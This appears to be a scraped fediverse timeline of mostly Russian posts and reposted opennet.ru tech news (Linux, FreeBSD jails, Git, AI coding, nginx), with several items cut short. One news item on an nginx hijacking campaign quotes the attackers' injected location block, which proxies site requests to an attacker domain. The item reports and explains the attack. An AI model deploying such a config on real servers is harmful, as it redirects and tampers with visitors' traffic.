continue
bonked 07 Feb 2026 19:50 +0100
original: coaxial@social.openhood.ru
Warlock Corpse / Труп Колдуна - You and I are in a Dark Crypt Forever

continue
bonked 07 Feb 2026 19:50 +0100
original: coaxial@social.openhood.ru
Warlock Corpse / Труп Колдуна - You and I are in a Dark Crypt Forever

Инициатива по встраиванию моделей машинного обучения в ядро Linux Интеграция ML-моделей в ядро может быть полезной для изменения логики работы подсистем с учётом обрабатываемых данных, оптимизации работы и изменения конфигурации в зависимости от внутреннего состояния систем. Применение машинного обучения, способного выявлять закономерности и строить прогнозы без ручной реализации алгоритмов, упростит подбор наиболее эффективной конфигурации ядра c учётом сложности и изменчивости современных рабочих нагрузок, а также позволит решать такие проблемы, как предсказание сбоев систем хранения.
Помимо движка для выполнения моделей рассматривается разработка инструментов сбора данных для обучения ML-моделей, непосредственно обучения модели и тестирования результата. Так как для выполнения ML-модели требуются операции с плавающей запятой, а в ядре недопускается прямое использование FPU, предложенный прототип представляет собой прослойку для обращения из различных подсистем ядра к ML-моделям, выполняемым в пользовательском пространстве, по аналогии с выносом в пользовательское пространство обработчиков SPDK, DPDK и ublk.
Вынос выполнения и обучения модели в пространство пользователя упрощает сопровождение и изолирует ядро от проблем в коде выполнения модели. На стадии обучения данные о состоянии и параметрах ядра могут как запрашиваться обработчиком из пользовательского пространства, так и передаваться прослойкой, выполняемой на уровне ядра. Для управления взаимодействия компонентами в ядре и пользовательском пространстве применяется sysfs. Возможно адаптивное обучение ML-модели, при котором подсистема ядра получает рекомендацию от ML-модели, применяет рекомендуемое изменение и оценивает эффективность рекомендации по изменению состояния.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64755
contrinitiator
honked back 07 Feb 2026 10:36 +0100
in reply to: https://misskey.vikingkong.xyz/notes/aifomrya4toe0ywr
Anthropic опубликовал Си-компилятор, созданный AI-моделью Claude Opus и способный собрать ядро Linux Весь код и документация к компилятору сгенерированы моделью Claude Opus 4.6. Участие человека свелось к определению тестовых сценариев, которым должен удовлетворять итоговый продукт. Интерактивный режим для разработки, отладки и контроля над качеством не применялся, Модель Claude Opus сама выполнила всю работу на основе поставленной задачи. Ручное рецензирование корректности работы компилятора не проводилось, поэтому он не рекомендован для использования помимо экспериментов. Степень прохождения тестовых наборов компиляторов, включая GCC Torture Tests, составляет 99%.
Для разработки компилятора было привлечено 16 AI-агентов, которые после двух недель работы и около двух тысяч сеансов в Claude Code сгенерировали 100 тысяч строк кода на Rust, выполняющих задачу сборки ядра Linux 6.9 для архитектур x86, ARM и RISC-V. При генерации кода использовался новый режим работы "agent teams", позволяющий организовать параллельную работу нескольких AI-агентов Claude над одной общей кодовой базой, осуществляемую автономно без вмешательства человека. По стоимости доступа к API создание компилятора оценено в 20 тысяч долларов (передано 2 миллиарда входных токенов и сгенерировано 140 миллионов выходных токенов).
Компилятор самодостаточен и не требует внешних зависимостей, кроме стандартной библиотеки Rust. Все компоненты созданы с нуля, включая фронтэнд, промежуточное представление (IR) на базе SSA, оптимизиатор, генератор кода, ассемблер, компоновщик и генератор отладочной информации в формате DWARF. Форнтэнд совместим на уровне опций с GCC и может использоваться в качестве прозрачной замены GCC. На выходе генерируются исполняемые файлы в формате ELF. Поддерживается только платформа Linux (задача поддержки macOS и Windows не ставилась).
Из ограничений отмечается отсутствие раздельных уровней оптимизации
(уровни с -O0 по -O3, -Os и -Oz приводят к одинаковой оптимизации), имеются проблемы с использованием _Atomic и _Complex, частично поддерживается ключевое слово __attribute__ и частично реализовано использование инструкций NEON. Помимо ограничений, описанных в подготовленной AI документации к компилятору, в статье с анонсом проекта упоминаются некоторые дополнительные проблемы:
<iframe src="https://www.youtube.com/embed/vNeIQS9GsZ8?si=wYaq6sq8IPQ3nbbN">
Источник: https://www.opennet.ru/opennews/art.shtml?num=64753
contrinitiator
honked 07 Feb 2026 09:43 +0100
Нефаз - хорошее название для автобусов (или я опять не так прочёл).
Наиболее важные изменения:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64754
continue
bonked 07 Feb 2026 07:39 +0100
original: evgandr@mastodon.bsd.cafe
Finally, I found some time to install #brutaldon on the my #FreeBSD box in the #jail. Installation was pretty simple — just create thinjail and apply the next template to it (it is a Bastillefile): CONFIG set enforce_statfs=1; SYSRC clear_tmp_enable=YES CMD pkg bootstrap -f CMD pw useradd brutaldon -s /bin/sh -m CONFIG remove ip4.addr; I used thinjail which uses the same network and network interfaces as the host system, because I suck in networking :-D. Sadly, I don't understand how to use brutaldon with #Dillo — looks like it is impossible In the Librewolf I successfully logged in via the OAuth form, so I'm able to use brutaldon only in the Librewolf :-( (see screenshot №2 and №3). IIRC, @rl_dane you are using Brutaldon with Dillo — how do you achieve that (main question — how to login? :-D )? P.S. Contents of brutaldon startup script: #!/bin/sh # PROVIDE: brutaldon . /etc/rc.subr name=brutaldon : ${brutaldon_enable:=NO} start_cmd="${name}_start" brutaldon_start() brutaldon_stop() brutaldon_status() run_rc_command "$1" Sad part — even with big enough limits for the jail in the Bastillefile — brutaldon works not so fast. Possibly it is because it is written in Python, which wants a lot of memory/CPU, as I know from my experiments with home server, which has Intel Atom CPU inside and 2 Gb of memory :-D
CONFIG set allow.mount.fdescfs;
CONFIG set allow.mount.procfs;
CONFIG set mount.procfs;
CONFIG set devfs_ruleset=70
RESTART
SYSRC clear_tmp_X=YES
CMD pkg update
PKG git py311-pipenv py311-lxml py311-sqlite3
CMD su - brutaldon -c 'cd /usr/home/brutaldon && git clone https://gitlab.com/brutaldon/brutaldon.git'
CMD su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && pipenv install'
CMD su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && pipenv run python ./manage.py migrate'
CONFIG set ip4=inherit;
LIMITS pcpu 80
LIMITS memoryuse 2G
CP brutaldon /etc/rc.d/
SYSRC brutaldon_enable="YES"
RESTART
I'm able to login to mastodon.bsd.cafe only via OAuth form, which doesn't work in Dillo — instead of it I got the "old" form with login/password/OAuth code credentials. And at the end I got the screenshot №1.
# REQUIRE: DAEMON
# KEYWORD: shutdown
rcvar=brutaldon_enable
load_rc_config $name
stop_cmd="${name}_stop"
status_cmd="${name}_status"
{
su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && HTTP_PROXY=http://localhost:20172 HTTPS_PROXY=http://localhost:20172 pipenv run python ./manage.py runserver 8082 > /dev/null 2>&1 &'
echo "Brutaldon started"
}
{
pkill -U $(id -u brutaldon) python
while /bin/test ! -z $(/usr/bin/pgrep -q -U $(id -u brutaldon) python); do
echo "Waiting for brutaldon to die"
sleep 5
done
echo "Brutaldon stopped"
}
{
if pgrep -q -U $(id -u brutaldon) python; then
echo "Brutaldon is running"
else
echo "Brutaldon is stopped"
fi
}


continue
bonked 07 Feb 2026 07:30 +0100
original: livefish@mastodon.ml
Зацените мой новый крутой няшефон. Был подарен @mathlikemeph и @oxff ещё прошлой весной, но я думал, что он сдох, а оказалось, что нет. Мне нравится дизайн и то, как используется круглый дисплей. При однократном нажатии на кнопку включения доступен циферблат, показывающий текущее время Меню выбора приложений тоже сделано круглым, хоть и с не самой очевидной навигацией Есть камера, звонки, смски, ФМ радио через наушники в качестве антенны и блюпуп. Это всё даже работает. Единственное, нельзя слушать радио в блюпуп наушниках, даже если воткнуты обычные, как антенна — звук всё равно идёт на динамик Встроенной памяти там 35кб, форматирована в vfat Заряжается по type c, имеет слоты для 2х симок и карту памяти Качество звуков при звонках приемлемое Есть более-менее сносный динамик и фонарик В целом прикольно, посмотрю, как он завтра будет Модель Bq circle 1416




Выпуск свободного звукового редактора Ardour 9.0 Ключевые изменения:
<iframe src="https://www.youtube.com/embed/DEFFplnYbxA">
Источник: https://www.opennet.ru/opennews/art.shtml?num=64751
continue
bonked 06 Feb 2026 18:36 +0100
original: closeuprussia@mastodon.social
д.Вотча, Вологодская область | Votcha, Vologda region, 2013. #closeuprussia #alexanderaksakov
(c) Alexander Aksakov
#rf #photography #photo 
continue
bonked 06 Feb 2026 17:33 +0100
original: northernkender@kolektiva.social
Два недавно посмотренных фильма: "Сират" (Sirāt) и "Коленная чашечка" (Kneecap). Вот "Сират", который вроде бы про рейвы в пустыне, но на самом деле про бесконечный путь в никуда, которым является наша жизнь. Очень хорошие фильмы, смотрите их. (#sirat)
Их объединяет то, что оба вроде бы на первый взгляд про музыку, но на самом деле про гораздо больше.
И вот "Коленная чашечка", который вроде бы про северо-ирландских хип-хоперов, но на самом деле про связь языка и культуры и про выламывание из навязанной реальности для достижения счастья.
continue
bonked 06 Feb 2026 17:31 +0100
original: liilliil@flipboard.social
Иона и кит

continue
honked back 06 Feb 2026 13:24 +0100
in reply to: https://mastodon.social/users/ElectroFetish/statuses/116023129723724101
continue
honked back 06 Feb 2026 12:05 +0100
in reply to: https://plasmatrap.com/notes/aiebtpi8q3
Защита от мусорных AI-изменений на GitHub. Оценка влияния вайб-кодинга на экосистему открытого ПО В качестве краткосрочных путей решения проблемы рассматривается возможность быстрого удаления pull-запросов через web-интерфейс (удаления без оседания в истории вместо пометки закрытыми) и использование настраиваемых прав на отправку pull-запросов, позволяющих владельцам репозиториев разрешать передачу изменений только участникам, ранее вносившим изменения.
Из решений в долгосрочной перспективе упоминается расширение модели полномочий и предоставление сопровождающим инструментов для гибкого задания правил, определяющих кто имеет право создавать и рецензировать pull-запросы и каким требованиям должны соответствовать pull-запросы. Кроме того, предлагается задействовать AI для определения соответствия отправленного изменения правилам и стандартам качества каждого проекта (например, заданным в файле CONTRIBUTING.md), а также выявления и специальной пометки изменений, подготовленных при помощи AI.
Из высказанных в процессе обсуждения предложений также можно отметить создание фильтра, запрещающего отправку pull-запросов без предварительного открытия issue-обсуждений с пояснением причин реализации изменений, а также информирование сопровождающих о поступлении pull-запросов от новичков только после успешного прохождения тестов в системе непрерывной интеграции.
По статистике одного из ключевых разработчиков фреймворка genkit лишь одно из десяти изменений, подготовленных в AI, соответствует критериям для открытия pull-запроса. Один из участников проекта Azure Core Upstream подытожил основные опасения сопровождающих:
Дополнительно можно отметить проведённое несколькими европейскими университетами исследование влияния вайб-кодинга на экосистему открытых проектов. Исследователи разработали модель равновесия экосистемы открытого кода, которая показала, что обратные связи, ранее отвечавшие за взрывной рост открытых проектов, после распространения вайб-кодинга создают обратный эффект - уменьшается число разработчиков готовых делиться кодом, сокращается разнообразие открыты проектов и снижается качество. Одним из вариантов решения проблемы упоминается внедрение модели финансирования, напоминающей Spotify, при которой AI‑платформы перераспределяют доходы от подписок на сервисы для разработчиков среди сопровождающих, в зависимости от степени использования проектов.
При вайб-кодинге разработчики перестают анализировать доступные решения, читать документацию, отправлять сообщения об ошибках и взаимодействовать с командами, развивающими открытые библиотеки. Открытые проекты теряют обратную связь с пользователям. Новым проектам становится сложнее пробиться, так как AI-ассистенты сами подбирают необходимые открытые библиотеки на основе информации, имевшейся на момент обучения модели. Из-за снижения прямого взаимодействия с пользователями страдает монетизация отрытых проектов, завязанных на услугах поддержки и показе рекламы/сборе пожертвований на сайтах. Из-за снижения обратной связи страдает качество. С другой стороны, вайб-кодинг повышает производительность труда при создании новых продуктов, основанных на чуждом коде, и упрощает внедрение новых библиотек.
Как пример приведён проект Tailwind CSS, число загрузок которого из репозитория NPM продолжает расти, но трафик к документации с начала 2023 года снизился на 40%, а доходы упали на 80%. Также отмечено снижение активности обсуждений на Stack Overflow примерно на 25%, спустя 6 месяцев после запуска ChatGPT.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64750
contrinitiator
bonked 06 Feb 2026 11:32 +0100
original: continue@honk.any-key.press
Девятый экспериментальный выпуск среды рабочего стола Orbitiny Из специфичных для Orbitiny возможностей отмечается: вызов действий через экранные жесты (очерчивание мышью определённого контура на пустой области рабочего стола); метки на пиктограммах (показываются для новых, изменённых, пустых или перемещённых через буфер обмена файлов, а также пустых каталогов); возможность вставки файла одновременно в несколько выбранных каталогов; поддержка размещения содержимого рабочего стола в любом каталоге (не только в $HOME/Desktop); использование отдельных десктоп-каталогов для каждого виртуального рабочего стола и монитора. Список типовых возможностей Orbitiny можно посмотреть в прошлом анонсе.
Среди изменений:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64749
Поставка ОС Aluminium намечена на 2028 год. Поддержка ChromeOS сохранится до 2034 года В Aluminium преимущественно используется архитектура и компоненты платформы Android, а интерфейс близок к развиваемому в ветке Android 16 десктоп-режиму для больших экранов, позволяющему одновременно работать с окнами нескольких приложений по аналогии с традиционной средой рабочего стола. При этом в платформе также задействованы отдельные системные сервисы, приложения, элементы прошивки, фоновые процессы и библиотеки из ChromeOS, а также перенесённый из Chrome OS интерфейс запуска приложений (Launcher). Из Android задействовано ядро Linux, GKI-модули (Generic Kernel Image), компоненты взаимодействия с оборудованием (HAL), Android Runtime, Android API, часть системных фоновых процессов и библиотек.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64748
В марте состоятся детско-юношеские соревнования Linux-skills С 1 марта по 10 марта 2026 года пройдёт онлайн отборочный этап, на котором участники пройдут тестирование. C 25 марта по 1 апреля 2026 года состоится финал - участникам будет предоставлен доступ к виртуальному стенду, на котором нужно будет настроить сеть и перевести рабочие станции с ОС MS Windows на Linux, после чего выполнить настройку Linux и сетей.
В соревнованиях используются дистрибутивы Simply Linux и Calculate Linux, OpenWRT на маршрутизаторах.
Финал пройдёт очно на опорных площадках в Москве, Московской области (Щёлково) и Санкт-Петербурге. По запросу участников площадки могут быть организованы и в других городах.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64738
Nginx 1.29.4 с устранением уязвимости. Атаки, меняющие настройки nginx для перенаправления трафика Помимо уязвимости в выпуске 1.29.5 снижен с "crit" до "info" уровень логгирования SSL-ошибок "ech_required", а также устранено несколько проблем: устранено обращение к уже освобождённой памяти (use-after-free) после переключения на следующий бэкенд gRPC или HTTP/2; решена проблема с отправкой некорректного запроса HTTP/2 после переключения на следующий
upstream-сервер; исправлено разрастание размера ответа с несколькими диапазонами; налажено выставление переменной HTTP_HOST при проксировании к бэкендам FastCGI, SCGI и uwsgi.
Дополнительно можно отметить выявление автоматизированной атаки, которая после успешного взлома серверов ограничивается изменением конфигурации nginx. Взлом осуществляется через неисправленную уязвимость React2Shell в серверных компонентах React. Вносимые в конфигурацию nginx изменения перенаправляли запросы к обслуживаемым сайтам на сервер атакующих, который осуществлял подстановку вредоносных изменений в возвращаемый пользователю ответ.
Таким образом вместо установки руткитов или вредоносного ПО на сервер, организована атака на клиентов, открывающих обслуживаемый на сервере сайт, без непосредственного изменения компонентов сайта на сервере. Атака в основном нацелена на перехват трафика доменов азиатских стран, а также доменов *.edu и *.gov. Через сервер атакующих перенаправляются выборочные запросы, например, содержащие в путях слова "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" и "info". Атака производится автоматизированно с использованием инструментария, выполняющего поиск и анализ конфигурации nginx, выбор и подстановку шаблона настроек, перезапуск nginx и проверку работы изменённого варианта.
location /%PATH%/ {
set $fullurl "$scheme://$host$request_uri";
rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break;
proxy_set_header Host [Attacker_Domain];
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header User-Agent $http_user_agent;
proxy_set_header Referer $http_referer;
proxy_ssl_server_name on;
proxy_pass http://[Attacker_Domain];
}
Источник: https://www.opennet.ru/opennews/art.shtml?num=64747
Microsoft развивает открытую систему sandbox-изоляции Litebox Идея "Library OS" в том, что сервисы операционной системы напрямую встраиваются в приложение вместо обращения к внешнему ядру ОС при помощи системных вызовов. В контексте Litebox к приложениям подключается изолирующая прослойка, предоставляющая минимальную платформу, транслирующую запросы к внешнему полнофункциональному программному интерфейсу. В качестве подобных внешних интерфейсов могут выступать ядро Linux, защищённые изолированные окружения OP-TEE (Open Portable Trusted Execution Environment), Webassembly-окружения или стандартная библиотека RustStd.
Формируемая через Litebox минимальная платформа применима для запуска приложений Linux, Windows и FreeBSD, вложенных ядер Linux и LVBS (Linux Virtualization Based Security). В качестве возможных областей применения Litebox упоминается обеспечения запуска немодифицированных Linux-программ в Windows, изоляция выполнения Linux-приложений на системах с ядром Linux, запуск программ поверх AMD SEV SNP для шифрования памяти, выполнение OP-TEE-программ в Linux и изоляция с использованием концепции LVBS.
Проект LVBS, представитили которого участвуют в разработке Litebox, развивает методы для защиты компонентов ядра Linux, использующие возможности гипервизоров и аппаратной виртуализации. Например, при помощи гипервизора могут изолироваться операции контроля подлинности модулей, верификации, управления доступом к паролям, ключам, структурам ядра и другим критически важным ресурсам. В случае эксплуатации уязвимости и компрометации ядра, атакующий не сможет получит доступ к подобным ресурсам, так как их обработчики выполняются вне текущего уровня привилегий. Litebox рассматривается контексте проекта LVBS как "безопасное ядро", защищающая обычное ядро гостевой системы при помощи аппаратной виртуализации.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64746
contrinitiator
honked back 05 Feb 2026 11:14 +0100
in reply to: https://misskey.vikingkong.xyz/notes/aics1rev4toe0ynw
@vikingkong @iron_bug У меня в комнате ещё часы настенные били каждый час, и нормально спалось! Сейчас нет ни часов, ни трамвая, чувствую, что чего-то не хватает))
JetBrains переводит IDE IntelliJ на использование Wayland по умолчанию Отмечается, что с момента прошлого тестирования прямой работы поверх Wayland в 2024 году, в реализации повышена стабильность работы поверх различных композитных серверов, добавлена функциональность
drag-and-drop, обеспечена поддержка методов ввода и обеспечено естественно выглядящее декорирование окон. Из отличий поведения от сборки на базе X11 отмечается отсутствие центрирования или восстановления прошлого положения некоторых окон и диалогов, невозможность выноса некоторых всплывающих окон за пределы основного окна, отдельные несоответствия элементов декодирования окон (заголовок, кнопки управления оконном, тени, скругление углов) активной теме оформления рабочего стола.
Разработанный для IntelliJ Wayland-бэкенд WLToolkit открыт под лицензией GPLv2 и водит в состав JetBrainsRuntime (редакция OpenJDK). JetBrains также участвует в разработке проекта Wakefield, развивающего компоненты для поддержки Wayland в OpenJDK, позволяющие напрямую запускать графические Java-приложения в окружениях на базе Wayland.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64745
contrinitiator
honked back 05 Feb 2026 09:39 +0100
in reply to: https://friendica.ironbug.org/objects/3217dd65-3569-838e-418b-e4d437021866
@iron_bug @vikingkong Не знаю, это индивидуально. Я с детства жил рядом с трамваями, и родителей они страшно бесили, а я вообще не замечал.
В VirtualBox добавлена предварительная поддержка работы поверх гипервизора KVM Начиная с коммита 5cb05ca, бэкэнд KVM находится в более или менее рабочем состоянии, по крайней мере для более "современных" гостевых систем. Старые и экзотические ОС, такие как MS-DOS, ещё не поддерживаются или не оттестированы. Если VirtualBox не может получить доступ к собственным драйверам ядра, он переключится на работу с использованием KVM, если он доступен. Сохранённые состояния между родным гипервизором и KVM должны быть совместимы. Тестовых сборок пока нет, и код доступен только в текущем GIT-срезе.
Реализованный бэкенд решит проблемы с запуском VirtualBox в дистрибутивах с поддержкой UEFI Secure Boot, таких как Fedora и RHEL, которые отказываются подписывать сторонние драйверы. Поддержка KVM также позволит запускать VirtualBox в Linux-системах, ещё не поддерживаемых в драйвере vboxdrv, использовать VirtualBox одновременно с другими системами виртуализации на базе KVM и задействовать расширенные механизмы аппаратного ускорения виртуализации, поддерживаемые в KVM, но не применяемые в VirtualBox (например, расширение APICv для виртуализации контроллера прерываний).
Источник: https://www.opennet.ru/opennews/art.shtml?num=64743
continue
bonked 05 Feb 2026 08:33 +0100
original: wboss@waagh.top
Нашёл кружку для коллекции

Выпуск набора утилит GNU Coreutils 9.10 Ключевые новшества:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64742
Выпуск GCompris 26.0, обучающего набора для детей от 2 до 10 лет Основные изменения:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64741
contrinitiator
honked back 04 Feb 2026 16:36 +0100
in reply to: https://friendica.ironbug.org/objects/3217dd65-8569-832c-80d9-713449671444
Выпуск офисного пакета LibreOffice 26.2 Ранее метка "Community" добавлялась, чтобы подчеркнуть, что сборка поддерживаться энтузиастами и не нацелена на применение на предприятиях. Несколько лет назад наименование LibreOffice Community было введено для более явного разделения с продуктами для предприятий семейства LibreOffice Enterprise, для которых партнёрскими компаниями предоставляется коммерческая поддержка, возможность получать обновления длительное время (LTS) и дополнительные функции, такие как SLA (Service Level Agreements). В конечном счёте решено убрать метку "Community", так как её наличие при загрузке сбивало с толку и вводило пользователей в замешательство - некоторые считали, что это только версия для некоммерческого применения, в то время как она была без ограничений доступна бесплатно всем без исключения, в том числе корпоративным пользователям.
Наиболее заметные изменения:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64739
contrinitiator
honked 04 Feb 2026 11:56 +0100
Наглядный пример — эксперимент с «фантомной дорогой». Исследователи развесили в глухом лесу колонки и на несколько недель включили фонограмму шума трассы с насыщенным трафиком. Без выхлопов и света фар машин, которых можно было бы испугаться, — только звуки дороги. В результате число птиц на территории, подверженной шумовому загрязнению, сократилось на четверть, часть покинула шумный участок, а те, кто остался, потеряли в весе. При этом после окончания эксперимента сообщество восстановилось не сразу.
В лесу или на плато звуковое вторжение квадроциклов, моторных лодок или больших туристических групп заставляет зверей раньше бросать кормежку или вовсе уходить с привычного им участка. В США провели полевые исследования, похожие на эксперимент с птицами: диким животным включали трансляцию звуков из динамиков (шаги и голоса туристов, звуки велосипедов и внедорожников), а расположенные рядом камеры снимали на видео, как животные реагируют на эти звуки. Выяснилось, что шум от больших групп пеших путешественников и велосипедистов вызывал наибольшее беспокойство, а самыми чувствительными к нему оказались лоси и черные медведи.
contrinitiator
honked back 04 Feb 2026 11:38 +0100
in reply to: https://mastodon.moscow/users/fili/statuses/116011631101034976
Грегу Кроа-Хартману присуждена премия за вклад в открытое ПО Премию вручил Дэниел Cтенберг (Daniel Stenberg), президент Европейской академии открытого ПО, автор утилиты curl и участник рабочих групп IETF, развивающих протоколы HTTP и QUIC.
Помимо главной премии учреждены 4 специальные награды (Special Recognitions), присуждённые 5 участникам:
Европейская академия открытого ПО создана при поддержке Европейской комиссии для популяризации и признания выдающихся людей и организаций, занимающихся продвижением открытого программного и аппаратного обеспечения в Европе. Целью является продвижение преимуществ открытых проектов, налаживание сотрудничества и отстаивание общественной и экономической ценности открытых программных и аппаратных технологий. Организация находится на стадии преобразования в независимый некоммерческий фонд, зарегистрированный в Бельгии.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64736
continue
bonked 04 Feb 2026 10:12 +0100
original: hi@romanzolotarev.com
yay! moved from @romanzolotarev@mas.to
like/favorite if this appears in your feed please :)
#selfhosting #snac2 #openbsd
Google переименовал ZetaSQL в GoogleSQL В качестве причины переименования называется унификация под единым брендом названия развиваемого в Google диалекта SQL и связанных с ним библиотек для разбора и парсинга. Предполагается, что переименование ZetaSQL в GoogleSQL уменьшит путаницу и упростит поиск материалов, связанных с технологией GoogleSQL. Репозиторий с открытым кодом ZetaSQL продолжит развиваться той же командой, но под именем GoogleSQL.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64735
Релиз системы управления коллекцией электронных книг Calibre 9 В новой версии:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64734
contrinitiator
bonked 04 Feb 2026 07:15 +0100
original: Nysh@mastodon.social
Поймалось сказочное в холоде

Выпуск загрузочных прошивок Libreboot 26.01 и Canoeboot 26.01 Libreboot нацелен на формирование системного окружения, позволяющего обойтись без проприетарного ПО настолько, насколько это возможно, не только на уровне операционной системы, но и прошивки, обеспечивающей загрузку. Libreboot дополняет Coreboot средствами для упрощения применения конечными пользователями, формируя готовый дистрибутив, которым может воспользоваться любой пользователь, не имеющий специальных навыков.
По сравнению с прошлым стабильным релизом добавлена поддержка ПК и ноутбуков HP Pro 3500, Topton XE2 N150, ThinkPad T580 и Dell Latitude E7240. Ведётся работа над поддержкой устройств Google Chromebook через интеграцию coreboot-дистрибутива MrChromebox. CoreBoot синхронизирован с репозиторием по состоянию на середину января. С актуальными кодовыми базами синхронизированы компоненты GRUB 2.14, U-Boot, SeaBIOS и flashprog.
Оборудование, поддерживаемое в Libreboot:
Также сформирован выпуск проекта Canoeboot 26.01, который позиционируется как полностью свободная сборка Libreboot, соответствующая требованиям Фонда СПО к свободным дистрибутивам. Выпуск Canoeboot основан на версии Libreboot 26.01, из которой удалены компоненты и изменения, не соответствующие критериям Фонда СПО.
В новой версии Canoeboot реализована поддержка серии ПК
HP Pro 3500 и ноутбука Dell Latitude E7240.
Необходимость в создании отдельной сборки Libreboot объясняется тем, что сформированные Фондом СПО требования к свободным дистрибутивам не допускают поставку бинарных прошивок (firmware) и любых бинарных компонентов драйверов. При этом начиная с 2022 года проект Libreboot перешёл на более прагматичные правила использования бинарных компонентов, позволившие заметно расширить спектр поддерживаемого аппаратного обеспечения. Новой целью проекта Libreboot стала поддержка всего оборудования, поддерживаемого в coreboot, за исключением бинарных компонентов, влияющих на безопасность и надёжность (например, в Libreboot используется me_cleaner для отключения Intel ME). При таком подходе Libreboot потерял статус полностью свободного дистрибутива с позиции Фонда Свободного ПО.
Устройства, поддерживаемые в Canoeboot:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64733
continue
bonked 03 Feb 2026 21:10 +0100
original: Nysh@mastodon.social
Поймалось сказочное в холоде

Выпуск Arti 2.0.0, официальной реализации Tor на языке Rust Arti изначально развивается в форме модульной встраиваемой библиотеки, которую могут использовать различные приложения. При проектировании Arti учтён прошлый опыт разработки Tor, что позволило избежать известных архитектурных проблем, связанных с тем, что реализация на Си вначале была спроектирована как SOCKS-прокси, а уже потом подогнана под другие потребности.
Кроме модернизации архитектуры, причиной переписывания Tor на Rust стало желание повысить защищённость кода за счёт использования языка, обеспечивающего безопасную работу с памятью. По оценке разработчиков Tor, использование языка Rust без блоков "unsafe", позволит не допустить появления как минимум половины от всех типичных уязвимостей в проекте. Кроме того, предполагается, что Rust повысит скорость разработки благодаря выразительности языка и строгих гарантий, позволяющих не тратить время на двойные проверки и написание лишнего кода.
Значительное изменение номера версии связано с внесением изменений, нарушающих обратную совместимость, в соответствии с применяемой проектом моделью семантического версионирования. Прекращена поддержка настроек proxy.socks_port и proxy.dns_port, ранее объявленных устаревшими, на смену которым пришли настройки proxy.socks_listen и proxy.dns_listen. Также прекращена поддержка старого синтаксиса определения серверов директорий (Directory Authority) и помечены экспериментальными все программные интерфейсы crate-пакета arti, которые планируют переместить в другие crate-пакеты или удалить.
Из новой функциональности отмечается поддержка нового типа сокетов
"inet-auto" для автоматического назначения неиспользуемого TCP-порта для RPC-сервера. Продолжена реализация функциональности для релеев и серверов директорий. Для серверов директорий проведена работа по управлению сертификатами, добавлена возможность загрузки, верификации и хранения сертификатов. Для релеев представлена новая модульная архитектура управления цепочками узлов, добавлена поддержка создания каналов связи с другими релеями, поддержка обработки запросов согласования соединений и возможность работы релея в роли сервера при установке TLS-соединения.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64732
contrinitiator
honked back 03 Feb 2026 13:37 +0100
in reply to: https://friendica.ironbug.org/objects/3217dd65-4969-81cb-8f4b-43a435546025
continue
honked back 03 Feb 2026 13:32 +0100
in reply to: https://shitpost.poridge.club/notes/aia514o999
Какой сумрачный гений из #GoogleProjectZero решил встроить картинки прямо в atom? Более 16 мегабайт, что бы просто обновить ленту публикаций...
$ curl -s --head https://projectzero.google/feed.xml | grep content-length
content-length: 17723364
contrinitiator
honked back 03 Feb 2026 10:07 +0100
in reply to: https://mastodon.social/users/mikrozelenb/statuses/116005846975512913
@mikrozelenb @livefish @wthinker @iron_bug Но интересно встречать сожаления от людей из других регионов. Недавно читал, пишут "не могу собрать денег с соседей на камеру", хочется сказать, блин, чел, у нас во дворе пятиэтажки двадцать камер, мало что ли!))
Выпуск системы управления исходными текстами Git 2.53 По сравнению с прошлым выпуском в новую версию принято 466 изменений, подготовленных при участии 70 разработчиков (21 впервые приняли участие в разработке Git). Основные новшества:
В состав прошлого выпуска было добавлено предупреждение о включении по умолчанию сборки компонентов на языке Rust в Git 2.53. Тем не менее, фактически в версии Git 2.53 лишь добавлены отдельные улучшения поддержки Rust (возможность сборки без GNU sed), но сборка с Rust при использовании Makefile оставлена по умолчанию отключённой (требует выставления флага WITH_RUST), а при использовании Meson автоматически
активируется при наличии компилятора rustc. В версии Git 3.0 инструментарий Rust намерены включить в число обязательных сборочных зависимостей.
$ git repo structure
| Repository structure | Value |
| -------------------- | ---------- |
| * References | |
| * Count | 1.78 k |
| * Branches | 5 |
| * Tags | 1.03 k |
| * Remotes | 749 |
| * Others | 0 |
| | |
| * Reachable objects | |
| * Count | 421.37 k |
| * Commits | 88.03 k |
| * Trees | 169.95 k |
| * Blobs | 162.40 k |
| * Tags | 994 |
| * Inflated size | 7.61 GiB |
| * Commits | 60.95 MiB |
| * Trees | 2.44 GiB |
| * Blobs | 5.11 GiB |
| * Tags | 731.73 KiB |
| * Disk size | 301.50 MiB |
| * Commits | 33.57 MiB |
| * Trees | 77.92 MiB |
| * Blobs | 189.44 MiB |
| * Tags | 578.13 KiB |
Источник: https://www.opennet.ru/opennews/art.shtml?num=64731
contrinitiator
honked back 03 Feb 2026 09:27 +0100
in reply to: https://mastodon.ml/users/livefish/statuses/116005651921905733
@livefish @mikrozelenb @wthinker @iron_bug Да, это безумие. Ну вроде есть регионы не так охваченные установкой камер.
Выпуск Rust Coreutils 0.6.0, повысивший совместимость с GNU Coreutils с 87% до 96% Rust Coreutils
